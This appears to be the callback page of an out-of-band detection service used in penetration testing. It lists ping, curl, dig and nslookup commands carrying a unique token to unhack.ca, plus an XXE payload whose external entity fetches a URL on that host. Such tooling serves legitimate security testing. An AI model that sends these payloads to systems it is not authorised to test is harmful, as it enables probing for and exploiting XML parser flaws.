$ ping -c1 -p 00355d0c66f6b77243a9b9c35f768900 unhack.ca
 
$ curl http://unhack.ca/p/355d0c66f6b77243a9b9c35f7689
 
$ dig 355d0c66f6b77243a9b9c35f7689 @unhack.ca
 
$ dig 355d0c66f6b77243a9b9c35f7689.ns.unhack.ca
 
C:\> nslookup 355d0c66f6b77243a9b9c35f7689 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/355d0c66f6b77243a9b9c35f7689">]>
    <foo>&xxe;</foo>
 
Waiting for ping...